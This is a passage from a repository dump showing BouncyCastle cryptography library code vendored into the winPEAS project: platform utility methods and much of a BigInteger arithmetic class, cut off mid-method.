object>(dictionary.Count);\n            foreach (System.Collections.DictionaryEntry entry in dictionary)\n            {\n                result.Add(entry.Key, entry.Value);\n            }\n            return result;\n        }\n#else\n        internal static System.Collections.IList CreateArrayList()\n        {\n            return new ArrayList();\n        }\n        internal static System.Collections.IList CreateArrayList(int capacity)\n        {\n            return new ArrayList(capacity);\n        }\n        internal static System.Collections.IList CreateArrayList(System.Collections.ICollection collection)\n        {\n            return new ArrayList(collection);\n        }\n        internal static System.Collections.IList CreateArrayList(System.Collections.IEnumerable collection)\n        {\n            ArrayList result = new ArrayList();\n            foreach (object o in collection)\n            {\n                result.Add(o);\n            }\n            return result;\n        }\n        internal static System.Collections.IDictionary CreateHashtable()\n        {\n            return new Hashtable();\n        }\n        internal static System.Collections.IDictionary CreateHashtable(int capacity)\n        {\n            return new Hashtable(capacity);\n        }\n        internal static System.Collections.IDictionary CreateHashtable(System.Collections.IDictionary dictionary)\n        {\n            return new Hashtable(dictionary);\n        }\n#endif\n\n        internal static string ToLowerInvariant(string s)\n        {\n#if PORTABLE\n            return s.ToLowerInvariant();\n#else\n            return s.ToLower(CultureInfo.InvariantCulture);\n#endif\n        }\n\n        internal static string ToUpperInvariant(string s)\n        {\n#if PORTABLE\n            return s.ToUpperInvariant();\n#else\n            return s.ToUpper(CultureInfo.InvariantCulture);\n#endif\n        }\n\n        internal static readonly string NewLine = GetNewLine();\n\n#if PORTABLE\n        internal static void Dispose(IDisposable d)\n        {\n            d.Dispose();\n        }\n#else\n        internal static void Dispose(Stream s)\n        {\n            s.Close();\n        }\n        internal static void Dispose(TextWriter t)\n        {\n            t.Close();\n        }\n#endif\n\n        internal static int IndexOf(string source, string value)\n        {\n            return InvariantCompareInfo.IndexOf(source, value, CompareOptions.Ordinal);\n        }\n\n        internal static int LastIndexOf(string source, string value)\n        {\n            return InvariantCompareInfo.LastIndexOf(source, value, CompareOptions.Ordinal);\n        }\n\n        internal static bool StartsWith(string source, string prefix)\n        {\n            return InvariantCompareInfo.IsPrefix(source, prefix, CompareOptions.Ordinal);\n        }\n\n        internal static bool EndsWith(string source, string suffix)\n        {\n            return InvariantCompareInfo.IsSuffix(source, suffix, CompareOptions.Ordinal);\n        }\n\n        internal static string GetTypeName(object obj)\n        {\n            return obj.GetType().FullName;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Times.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.util\n{\n    public sealed class Times\n    {\n        private static long NanosecondsPerTick = 100L;\n\n        public static long NanoTime()\n        {\n            return DateTime.UtcNow.Ticks * NanosecondsPerTick;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/math/BigInteger.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Diagnostics;\nusing System.Globalization;\nusing System.Text;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.security;\n\nnamespace winPEAS._3rdParty.BouncyCastle.math\n{\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n    [Serializable]\n#endif\n    public class BigInteger\n    {\n        // The first few odd primes\n        /*\n                3   5   7   11  13  17  19  23  29\n            31  37  41  43  47  53  59  61  67  71\n            73  79  83  89  97  101 103 107 109 113\n            127 131 137 139 149 151 157 163 167 173\n            179 181 191 193 197 199 211 223 227 229\n            233 239 241 251 257 263 269 271 277 281\n            283 293 307 311 313 317 331 337 347 349\n            353 359 367 373 379 383 389 397 401 409\n            419 421 431 433 439 443 449 457 461 463\n            467 479 487 491 499 503 509 521 523 541\n            547 557 563 569 571 577 587 593 599 601\n            607 613 617 619 631 641 643 647 653 659\n            661 673 677 683 691 701 709 719 727 733\n            739 743 751 757 761 769 773 787 797 809\n            811 821 823 827 829 839 853 857 859 863\n            877 881 883 887 907 911 919 929 937 941\n            947 953 967 971 977 983 991 997 1009\n            1013 1019 1021 1031 1033 1039 1049 1051\n            1061 1063 1069 1087 1091 1093 1097 1103\n            1109 1117 1123 1129 1151 1153 1163 1171\n            1181 1187 1193 1201 1213 1217 1223 1229\n            1231 1237 1249 1259 1277 1279 1283 1289\n        */\n\n        // Each list has a product < 2^31\n        internal static readonly int[][] primeLists = new int[][]\n        {\n            new int[]{ 3, 5, 7, 11, 13, 17, 19, 23 },\n            new int[]{ 29, 31, 37, 41, 43 },\n            new int[]{ 47, 53, 59, 61, 67 },\n            new int[]{ 71, 73, 79, 83 },\n            new int[]{ 89, 97, 101, 103 },\n\n            new int[]{ 107, 109, 113, 127 },\n            new int[]{ 131, 137, 139, 149 },\n            new int[]{ 151, 157, 163, 167 },\n            new int[]{ 173, 179, 181, 191 },\n            new int[]{ 193, 197, 199, 211 },\n\n            new int[]{ 223, 227, 229 },\n            new int[]{ 233, 239, 241 },\n            new int[]{ 251, 257, 263 },\n            new int[]{ 269, 271, 277 },\n            new int[]{ 281, 283, 293 },\n\n            new int[]{ 307, 311, 313 },\n            new int[]{ 317, 331, 337 },\n            new int[]{ 347, 349, 353 },\n            new int[]{ 359, 367, 373 },\n            new int[]{ 379, 383, 389 },\n\n            new int[]{ 397, 401, 409 },\n            new int[]{ 419, 421, 431 },\n            new int[]{ 433, 439, 443 },\n            new int[]{ 449, 457, 461 },\n            new int[]{ 463, 467, 479 },\n\n            new int[]{ 487, 491, 499 },\n            new int[]{ 503, 509, 521 },\n            new int[]{ 523, 541, 547 },\n            new int[]{ 557, 563, 569 },\n            new int[]{ 571, 577, 587 },\n\n            new int[]{ 593, 599, 601 },\n            new int[]{ 607, 613, 617 },\n            new int[]{ 619, 631, 641 },\n            new int[]{ 643, 647, 653 },\n            new int[]{ 659, 661, 673 },\n\n            new int[]{ 677, 683, 691 },\n            new int[]{ 701, 709, 719 },\n            new int[]{ 727, 733, 739 },\n            new int[]{ 743, 751, 757 },\n            new int[]{ 761, 769, 773 },\n\n            new int[]{ 787, 797, 809 },\n            new int[]{ 811, 821, 823 },\n            new int[]{ 827, 829, 839 },\n            new int[]{ 853, 857, 859 },\n            new int[]{ 863, 877, 881 },\n\n            new int[]{ 883, 887, 907 },\n            new int[]{ 911, 919, 929 },\n            new int[]{ 937, 941, 947 },\n            new int[]{ 953, 967, 971 },\n            new int[]{ 977, 983, 991 },\n\n            new int[]{ 997, 1009, 1013 },\n            new int[]{ 1019, 1021, 1031 },\n            new int[]{ 1033, 1039, 1049 },\n            new int[]{ 1051, 1061, 1063 },\n            new int[]{ 1069, 1087, 1091 },\n\n            new int[]{ 1093, 1097, 1103 },\n            new int[]{ 1109, 1117, 1123 },\n            new int[]{ 1129, 1151, 1153 },\n            new int[]{ 1163, 1171, 1181 },\n            new int[]{ 1187, 1193, 1201 },\n\n            new int[]{ 1213, 1217, 1223 },\n            new int[]{ 1229, 1231, 1237 },\n            new int[]{ 1249, 1259, 1277 },\n            new int[]{ 1279, 1283, 1289 },\n        };\n\n        internal static readonly int[] primeProducts;\n\n        private const long IMASK = 0xFFFFFFFFL;\n        private const ulong UIMASK = 0xFFFFFFFFUL;\n\n        private static readonly int[] ZeroMagnitude = new int[0];\n        private static readonly byte[] ZeroEncoding = new byte[0];\n\n        private static readonly BigInteger[] SMALL_CONSTANTS = new BigInteger[17];\n        public static readonly BigInteger Zero;\n        public static readonly BigInteger One;\n        public static readonly BigInteger Two;\n        public static readonly BigInteger Three;\n        public static readonly BigInteger Four;\n        public static readonly BigInteger Ten;\n\n        //private readonly static byte[] BitCountTable =\n        //{\n        //    0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4,\n        //    1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,\n        //    1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,\n        //    2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,\n        //    1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,\n        //    2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,\n        //    2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,\n        //    3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,\n        //    1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,\n        //    2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,\n        //    2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,\n        //    3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,\n        //    2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,\n        //    3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,\n        //    3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,\n        //    4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8\n        //};\n\n        private readonly static byte[] BitLengthTable =\n        {\n            0, 1, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4,\n            5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,\n            6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,\n            6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,\n            7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,\n            7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,\n            7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,\n            7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,\n            8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,\n            8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,\n            8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,\n            8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,\n            8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,\n            8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,\n            8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,\n            8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8\n        };\n\n        // TODO Parse radix-2 64 bits at a time and radix-8 63 bits at a time\n        private const int chunk2 = 1, chunk8 = 1, chunk10 = 19, chunk16 = 16;\n        private static readonly BigInteger radix2, radix2E, radix8, radix8E, radix10, radix10E, radix16, radix16E;\n\n        private static readonly SecureRandom RandomSource = new SecureRandom();\n\n        /*\n         * These are the threshold bit-lengths (of an exponent) where we increase the window size.\n         * They are calculated according to the expected savings in multiplications.\n         * Some squares will also be saved on average, but we offset these against the extra storage costs.\n         */\n        private static readonly int[] ExpWindowThresholds = { 7, 25, 81, 241, 673, 1793, 4609, Int32.MaxValue };\n\n        private const int BitsPerByte = 8;\n        private const int BitsPerInt = 32;\n        private const int BytesPerInt = 4;\n\n        static BigInteger()\n        {\n            Zero = new BigInteger(0, ZeroMagnitude, false);\n            Zero.nBits = 0; Zero.nBitLength = 0;\n\n            SMALL_CONSTANTS[0] = Zero;\n            for (uint i = 1; i < SMALL_CONSTANTS.Length; ++i)\n            {\n                SMALL_CONSTANTS[i] = CreateUValueOf(i);\n            }\n\n            One = SMALL_CONSTANTS[1];\n            Two = SMALL_CONSTANTS[2];\n            Three = SMALL_CONSTANTS[3];\n            Four = SMALL_CONSTANTS[4];\n            Ten = SMALL_CONSTANTS[10];\n\n            radix2 = ValueOf(2);\n            radix2E = radix2.Pow(chunk2);\n\n            radix8 = ValueOf(8);\n            radix8E = radix8.Pow(chunk8);\n\n            radix10 = ValueOf(10);\n            radix10E = radix10.Pow(chunk10);\n\n            radix16 = ValueOf(16);\n            radix16E = radix16.Pow(chunk16);\n\n            primeProducts = new int[primeLists.Length];\n\n            for (int i = 0; i < primeLists.Length; ++i)\n            {\n                int[] primeList = primeLists[i];\n                int product = primeList[0];\n                for (int j = 1; j < primeList.Length; ++j)\n                {\n                    product *= primeList[j];\n                }\n                primeProducts[i] = product;\n            }\n        }\n\n        private int[] magnitude; // array of ints with [0] being the most significant\n        private int sign; // -1 means -ve; +1 means +ve; 0 means 0;\n        private int nBits = -1; // cache BitCount() value\n        private int nBitLength = -1; // cache BitLength() value\n        private int mQuote = 0; // -m^(-1) mod b, b = 2^32 (see Montgomery mult.), 0 when uninitialised\n\n        private static int GetByteLength(\n            int nBits)\n        {\n            return (nBits + BitsPerByte - 1) / BitsPerByte;\n        }\n\n        public static BigInteger Arbitrary(int sizeInBits)\n        {\n            return new BigInteger(sizeInBits, RandomSource);\n        }\n\n        private BigInteger(\n            int signum,\n            int[] mag,\n            bool checkMag)\n        {\n            if (checkMag)\n            {\n                int i = 0;\n                while (i < mag.Length && mag[i] == 0)\n                {\n                    ++i;\n                }\n\n                if (i == mag.Length)\n                {\n                    this.sign = 0;\n                    this.magnitude = ZeroMagnitude;\n                }\n                else\n                {\n                    this.sign = signum;\n\n                    if (i == 0)\n                    {\n                        this.magnitude = mag;\n                    }\n                    else\n                    {\n                        // strip leading 0 words\n                        this.magnitude = new int[mag.Length - i];\n                        Array.Copy(mag, i, this.magnitude, 0, this.magnitude.Length);\n                    }\n                }\n            }\n            else\n            {\n                this.sign = signum;\n                this.magnitude = mag;\n            }\n        }\n\n        public BigInteger(\n            string value)\n            : this(value, 10)\n        {\n        }\n\n        public BigInteger(\n            string str,\n            int radix)\n        {\n            if (str.Length == 0)\n                throw new FormatException(\"Zero length BigInteger\");\n\n            NumberStyles style;\n            int chunk;\n            BigInteger r;\n            BigInteger rE;\n\n            switch (radix)\n            {\n                case 2:\n                    // Is there anyway to restrict to binary digits?\n                    style = NumberStyles.Integer;\n                    chunk = chunk2;\n                    r = radix2;\n                    rE = radix2E;\n                    break;\n                case 8:\n                    // Is there anyway to restrict to octal digits?\n                    style = NumberStyles.Integer;\n                    chunk = chunk8;\n                    r = radix8;\n                    rE = radix8E;\n                    break;\n                case 10:\n                    // This style seems to handle spaces and minus sign already (our processing redundant?)\n                    style = NumberStyles.Integer;\n                    chunk = chunk10;\n                    r = radix10;\n                    rE = radix10E;\n                    break;\n                case 16:\n                    // TODO Should this be HexNumber?\n                    style = NumberStyles.AllowHexSpecifier;\n                    chunk = chunk16;\n                    r = radix16;\n                    rE = radix16E;\n                    break;\n                default:\n                    throw new FormatException(\"Only bases 2, 8, 10, or 16 allowed\");\n            }\n\n\n            int index = 0;\n            sign = 1;\n\n            if (str[0] == '-')\n            {\n                if (str.Length == 1)\n                    throw new FormatException(\"Zero length BigInteger\");\n\n                sign = -1;\n                index = 1;\n            }\n\n            // strip leading zeros from the string str\n            while (index < str.Length && Int32.Parse(str[index].ToString(), style) == 0)\n            {\n                index++;\n            }\n\n            if (index >= str.Length)\n            {\n                // zero value - we're done\n                sign = 0;\n                magnitude = ZeroMagnitude;\n                return;\n            }\n\n            //////\n            // could we work out the max number of ints required to store\n            // str.Length digits in the given base, then allocate that\n            // storage in one hit?, then Generate the magnitude in one hit too?\n            //////\n\n            BigInteger b = Zero;\n\n\n            int next = index + chunk;\n\n            if (next <= str.Length)\n            {\n                do\n                {\n                    string s = str.Substring(index, chunk);\n                    ulong i = ulong.Parse(s, style);\n                    BigInteger bi = CreateUValueOf(i);\n\n                    switch (radix)\n                    {\n                        case 2:\n                            // TODO Need this because we are parsing in radix 10 above\n                            if (i >= 2)\n                                throw new FormatException(\"Bad character in radix 2 string: \" + s);\n\n                            // TODO Parse 64 bits at a time\n                            b = b.ShiftLeft(1);\n                            break;\n                        case 8:\n                            // TODO Need this because we are parsing in radix 10 above\n                            if (i >= 8)\n                                throw new FormatException(\"Bad character in radix 8 string: \" + s);\n\n                            // TODO Parse 63 bits at a time\n                            b = b.ShiftLeft(3);\n                            break;\n                        case 16:\n                            b = b.ShiftLeft(64);\n                            break;\n                        default:\n                            b = b.Multiply(rE);\n                            break;\n                    }\n\n                    b = b.Add(bi);\n\n                    index = next;\n                    next += chunk;\n                }\n                while (next <= str.Length);\n            }\n\n            if (index < str.Length)\n            {\n                string s = str.Substring(index);\n                ulong i = ulong.Parse(s, style);\n                BigInteger bi = CreateUValueOf(i);\n\n                if (b.sign > 0)\n                {\n                    if (radix == 2)\n                    {\n                        // NB: Can't reach here since we are parsing one char at a time\n                        Debug.Assert(false);\n\n                        // TODO Parse all bits at once\n                        //\t\t\t\t\t\tb = b.ShiftLeft(s.Length);\n                    }\n                    else if (radix == 8)\n                    {\n                        // NB: Can't reach here since we are parsing one char at a time\n                        Debug.Assert(false);\n\n                        // TODO Parse all bits at once\n                        //\t\t\t\t\t\tb = b.ShiftLeft(s.Length * 3);\n                    }\n                    else if (radix == 16)\n                    {\n                        b = b.ShiftLeft(s.Length << 2);\n                    }\n                    else\n                    {\n                        b = b.Multiply(r.Pow(s.Length));\n                    }\n\n                    b = b.Add(bi);\n                }\n                else\n                {\n                    b = bi;\n                }\n            }\n\n            // Note: This is the previous (slower) algorithm\n            //\t\t\twhile (index < value.Length)\n            //            {\n            //\t\t\t\tchar c = value[index];\n            //\t\t\t\tstring s = c.ToString();\n            //\t\t\t\tint i = Int32.Parse(s, style);\n            //\n            //                b = b.Multiply(r).Add(ValueOf(i));\n            //                index++;\n            //            }\n\n            magnitude = b.magnitude;\n        }\n\n        public BigInteger(\n            byte[] bytes)\n            : this(bytes, 0, bytes.Length)\n        {\n        }\n\n        public BigInteger(\n            byte[] bytes,\n            int offset,\n            int length)\n        {\n            if (length == 0)\n                throw new FormatException(\"Zero length BigInteger\");\n\n            // TODO Move this processing into MakeMagnitude (provide sign argument)\n            if ((sbyte)bytes[offset] < 0)\n            {\n                this.sign = -1;\n\n                int end = offset + length;\n\n                int iBval;\n                // strip leading sign bytes\n                for (iBval = offset; iBval < end && ((sbyte)bytes[iBval] == -1); iBval++)\n                {\n                }\n\n                if (iBval >= end)\n                {\n                    this.magnitude = One.magnitude;\n                }\n                else\n                {\n                    int numBytes = end - iBval;\n                    byte[] inverse = new byte[numBytes];\n\n                    int index = 0;\n                    while (index < numBytes)\n                    {\n                        inverse[index++] = (byte)~bytes[iBval++];\n                    }\n\n                    Debug.Assert(iBval == end);\n\n                    while (inverse[--index] == byte.MaxValue)\n                    {\n                        inverse[index] = byte.MinValue;\n                    }\n\n                    inverse[index]++;\n\n                    this.magnitude = MakeMagnitude(inverse, 0, inverse.Length);\n                }\n            }\n            else\n            {\n                // strip leading zero bytes and return magnitude bytes\n                this.magnitude = MakeMagnitude(bytes, offset, length);\n                this.sign = this.magnitude.Length > 0 ? 1 : 0;\n            }\n        }\n\n        private static int[] MakeMagnitude(\n            byte[] bytes,\n            int offset,\n            int length)\n        {\n            int end = offset + length;\n\n            // strip leading zeros\n            int firstSignificant;\n            for (firstSignificant = offset; firstSignificant < end\n                && bytes[firstSignificant] == 0; firstSignificant++)\n            {\n            }\n\n            if (firstSignificant >= end)\n            {\n                return ZeroMagnitude;\n            }\n\n            int nInts = (end - firstSignificant + 3) / BytesPerInt;\n            int bCount = (end - firstSignificant) % BytesPerInt;\n            if (bCount == 0)\n            {\n                bCount = BytesPerInt;\n            }\n\n            if (nInts < 1)\n            {\n                return ZeroMagnitude;\n            }\n\n            int[] mag = new int[nInts];\n\n            int v = 0;\n            int magnitudeIndex = 0;\n            for (int i = firstSignificant; i < end; ++i)\n            {\n                v <<= 8;\n                v |= bytes[i] & 0xff;\n                bCount--;\n                if (bCount <= 0)\n                {\n                    mag[magnitudeIndex] = v;\n                    magnitudeIndex++;\n                    bCount = BytesPerInt;\n                    v = 0;\n                }\n            }\n\n            if (magnitudeIndex < mag.Length)\n            {\n                mag[magnitudeIndex] = v;\n            }\n\n            return mag;\n        }\n\n        public BigInteger(\n            int sign,\n            byte[] bytes)\n            : this(sign, bytes, 0, bytes.Length)\n        {\n        }\n\n        public BigInteger(\n            int sign,\n            byte[] bytes,\n            int offset,\n            int length)\n        {\n            if (sign < -1 || sign > 1)\n                throw new FormatException(\"Invalid sign value\");\n\n            if (sign == 0)\n            {\n                this.sign = 0;\n                this.magnitude = ZeroMagnitude;\n            }\n            else\n            {\n                // copy bytes\n                this.magnitude = MakeMagnitude(bytes, offset, length);\n                this.sign = this.magnitude.Length < 1 ? 0 : sign;\n            }\n        }\n\n        public BigInteger(\n            int sizeInBits,\n            Random random)\n        {\n            if (sizeInBits < 0)\n                throw new ArgumentException(\"sizeInBits must be non-negative\");\n\n            this.nBits = -1;\n            this.nBitLength = -1;\n\n            if (sizeInBits == 0)\n            {\n                this.sign = 0;\n                this.magnitude = ZeroMagnitude;\n                return;\n            }\n\n            int nBytes = GetByteLength(sizeInBits);\n            byte[] b = new byte[nBytes];\n            random.NextBytes(b);\n\n            // strip off any excess bits in the MSB\n            int xBits = BitsPerByte * nBytes - sizeInBits;\n            b[0] &= (byte)(255U >> xBits);\n\n            this.magnitude = MakeMagnitude(b, 0, b.Length);\n            this.sign = this.magnitude.Length < 1 ? 0 : 1;\n        }\n\n        public BigInteger(\n            int bitLength,\n            int certainty,\n            Random random)\n        {\n            if (bitLength < 2)\n                throw new ArithmeticException(\"bitLength < 2\");\n\n            this.sign = 1;\n            this.nBitLength = bitLength;\n\n            if (bitLength == 2)\n            {\n                this.magnitude = random.Next(2) == 0\n                    ? Two.magnitude\n                    : Three.magnitude;\n                return;\n            }\n\n            int nBytes = GetByteLength(bitLength);\n            byte[] b = new byte[nBytes];\n\n            int xBits = BitsPerByte * nBytes - bitLength;\n            byte mask = (byte)(255U >> xBits);\n            byte lead = (byte)(1 << (7 - xBits));\n\n            for (; ; )\n            {\n                random.NextBytes(b);\n\n                // strip off any excess bits in the MSB\n                b[0] &= mask;\n\n                // ensure the leading bit is 1 (to meet the strength requirement)\n                b[0] |= lead;\n\n                // ensure the trailing bit is 1 (i.e. must be odd)\n                b[nBytes - 1] |= 1;\n\n                this.magnitude = MakeMagnitude(b, 0, b.Length);\n                this.nBits = -1;\n                this.mQuote = 0;\n\n                if (certainty < 1)\n                    break;\n\n                if (CheckProbablePrime(certainty, random, true))\n                    break;\n\n                for (int j = 1; j < (magnitude.Length - 1); ++j)\n                {\n                    this.magnitude[j] ^= random.Next();\n\n                    if (CheckProbablePrime(certainty, random, true))\n                        return;\n                }\n            }\n        }\n\n        public BigInteger Abs()\n        {\n            return sign >= 0 ? this : Negate();\n        }\n\n        /**\n         * return a = a + b - b preserved.\n         */\n        private static int[] AddMagnitudes(\n            int[] a,\n            int[] b)\n        {\n            int tI = a.Length - 1;\n            int vI = b.Length - 1;\n            long m = 0;\n\n            while (vI >= 0)\n            {\n                m += ((long)(uint)a[tI] + (long)(uint)b[vI--]);\n                a[tI--] = (int)m;\n                m = (long)((ulong)m >> 32);\n            }\n\n            if (m != 0)\n            {\n                while (tI >= 0 && ++a[tI--] == 0)\n                {\n                }\n            }\n\n            return a;\n        }\n\n        public BigInteger Add(\n            BigInteger value)\n        {\n            if (this.sign == 0)\n                return value;\n\n            if (this.sign != value.sign)\n            {\n                if (value.sign == 0)\n                    return this;\n\n                if (value.sign < 0)\n                    return Subtract(value.Negate());\n\n                return value.Subtract(Negate());\n            }\n\n            return AddToMagnitude(value.magnitude);\n        }\n\n        private BigInteger AddToMagnitude(\n            int[] magToAdd)\n        {\n            int[] big, small;\n            if (this.magnitude.Length < magToAdd.Length)\n            {\n                big = magToAdd;\n                small = this.magnitude;\n            }\n            else\n            {\n                big = this.magnitude;\n                small = magToAdd;\n            }\n\n            // Conservatively avoid over-allocation when no overflow possible\n            uint limit = uint.MaxValue;\n            if (big.Length == small.Length)\n                limit -= (uint)small[0];\n\n            bool possibleOverflow = (uint)big[0] >= limit;\n\n            int[] bigCopy;\n            if (possibleOverflow)\n            {\n                bigCopy = new int[big.Length + 1];\n                big.CopyTo(bigCopy, 1);\n            }\n            else\n            {\n                bigCopy = (int[])big.Clone();\n            }\n\n            bigCopy = AddMagnitudes(bigCopy, small);\n\n            return new BigInteger(this.sign, bigCopy, possibleOverflow);\n        }\n\n        public BigInteger And(\n            BigInteger value)\n        {\n            if (this.sign == 0 || value.sign == 0)\n            {\n                return Zero;\n            }\n\n            int[] aMag = this.sign > 0\n                ? this.magnitude\n                : Add(One).magnitude;\n\n            int[] bMag = value.sign > 0\n                ? value.magnitude\n                : value.Add(One).magnitude;\n\n            bool resultNeg = sign < 0 && value.sign < 0;\n            int resultLength = System.Math.Max(aMag.Length, bMag.Length);\n            int[] resultMag = new int[resultLength];\n\n            int aStart = resultMag.Length - aMag.Length;\n            int bStart = resultMag.Length - bMag.Length;\n\n            for (int i = 0; i < resultMag.Length; ++i)\n            {\n                int aWord = i >= aStart ? aMag[i - aStart] : 0;\n                int bWord = i >= bStart ? bMag[i - bStart] : 0;\n\n                if (this.sign < 0)\n                {\n                    aWord = ~aWord;\n                }\n\n                if (value.sign < 0)\n                {\n                    bWord = ~bWord;\n                }\n\n                resultMag[i] = aWord & bWord;\n\n                if (resultNeg)\n                {\n                    resultMag[i] = ~resultMag[i];\n                }\n            }\n\n            BigInteger result = new BigInteger(1, resultMag, true);\n\n            // TODO Optimise this case\n            if (resultNeg)\n            {\n                result = result.Not();\n            }\n\n            return result;\n        }\n\n        public BigInteger AndNot(\n            BigInteger val)\n        {\n            return And(val.Not());\n        }\n\n        public int BitCount\n        {\n            get\n            {\n                if (nBits == -1)\n                {\n                    if (sign < 0)\n                    {\n                        // TODO Optimise this case\n                        nBits = Not().BitCount;\n                    }\n                    else\n                    {\n                        int sum = 0;\n                        for (int i = 0; i < magnitude.Length; ++i)\n                        {\n                            sum += BitCnt(magnitude[i]);\n                        }\n                        nBits = sum;\n                    }\n                }\n\n                return nBits;\n            }\n        }\n\n        public static int BitCnt(int i)\n        {\n            uint u = (uint)i;\n            u = u - ((u >> 1) & 0x55555555);\n            u = (u & 0x33333333) + ((u >> 2) & 0x33333333);\n            u = (u + (u >> 4)) & 0x0f0f0f0f;\n            u += (u >> 8);\n            u += (u >> 16);\n            u &= 0x3f;\n            return (int)u;\n        }\n\n        private static int CalcBitLength(int sign, int indx, int[] mag)\n        {\n            for (; ; )\n            {\n                if (indx >= mag.Length)\n                    return 0;\n\n                if (mag[indx] != 0)\n                    break;\n\n                ++indx;\n            }\n\n            // bit length for everything after the first int\n            int bitLength = 32 * ((mag.Length - indx) - 1);\n\n            // and determine bitlength of first int\n            int firstMag = mag[indx];\n            bitLength += BitLen(firstMag);\n\n            // Check for negative powers of two\n            if (sign < 0 && ((firstMag & -firstMag) == firstMag))\n            {\n                do\n                {\n                    if (++indx >= mag.Length)\n                    {\n                        --bitLength;\n                        break;\n                    }\n                }\n                while (mag[indx] == 0);\n            }\n\n            return bitLength;\n        }\n\n        public int BitLength\n        {\n            get\n            {\n                if (nBitLength == -1)\n                {\n                    nBitLength = sign == 0\n                        ? 0\n                        : CalcBitLength(sign, 0, magnitude);\n                }\n\n                return nBitLength;\n            }\n        }\n\n        //\n        // BitLen(value) is the number of bits in value.\n        //\n        internal static int BitLen(int w)\n        {\n            uint v = (uint)w;\n            uint t = v >> 24;\n            if (t != 0)\n                return 24 + BitLengthTable[t];\n            t = v >> 16;\n            if (t != 0)\n                return 16 + BitLengthTable[t];\n            t = v >> 8;\n            if (t != 0)\n                return 8 + BitLengthTable[t];\n            return BitLengthTable[v];\n        }\n\n        private bool QuickPow2Check()\n        {\n            return sign > 0 && nBits == 1;\n        }\n\n        public int CompareTo(\n            object obj)\n        {\n            return CompareTo((BigInteger)obj);\n        }\n\n        /**\n         * unsigned comparison on two arrays - note the arrays may\n         * start with leading zeros.\n         */\n        private static int CompareTo(\n            int xIndx,\n            int[] x,\n            int yIndx,\n            int[] y)\n        {\n            while (xIndx != x.Length && x[xIndx] == 0)\n            {\n                xIndx++;\n            }\n\n            while (yIndx != y.Length && y[yIndx] == 0)\n            {\n                yIndx++;\n            }\n\n            return CompareNoLeadingZeroes(xIndx, x, yIndx, y);\n        }\n\n        private static int CompareNoLeadingZeroes(\n            int xIndx,\n            int[] x,\n            int yIndx,\n            int[] y)\n        {\n            int diff = (x.Length - y.Length) - (xIndx - yIndx);\n\n            if (diff != 0)\n            {\n                return diff < 0 ? -1 : 1;\n            }\n\n            // lengths of magnitudes the same, test the magnitude values\n\n            while (xIndx < x.Length)\n            {\n                uint v1 = (uint)x[xIndx++];\n                uint v2 = (uint)y[yIndx++];\n\n                if (v1 != v2)\n                    return v1 < v2 ? -1 : 1;\n            }\n\n            return 0;\n        }\n\n        public int CompareTo(\n            BigInteger value)\n        {\n            return sign < value.sign ? -1\n                : sign > value.sign ? 1\n                : sign == 0 ? 0\n                : sign * CompareNoLeadingZeroes(0, magnitude, 0, value.magnitude);\n        }\n\n        /**\n         * return z = x / y - done in place (z value preserved, x contains the\n         * remainder)\n         */\n        private int[] Divide(\n            int[] x,\n            int[] y)\n        {\n            int xStart = 0;\n            while (xStart < x.Length && x[xStart] == 0)\n            {\n                ++xStart;\n            }\n\n            int yStart = 0;\n            while (yStart < y.Length && y[yStart] == 0)\n            {\n                ++yStart;\n            }\n\n            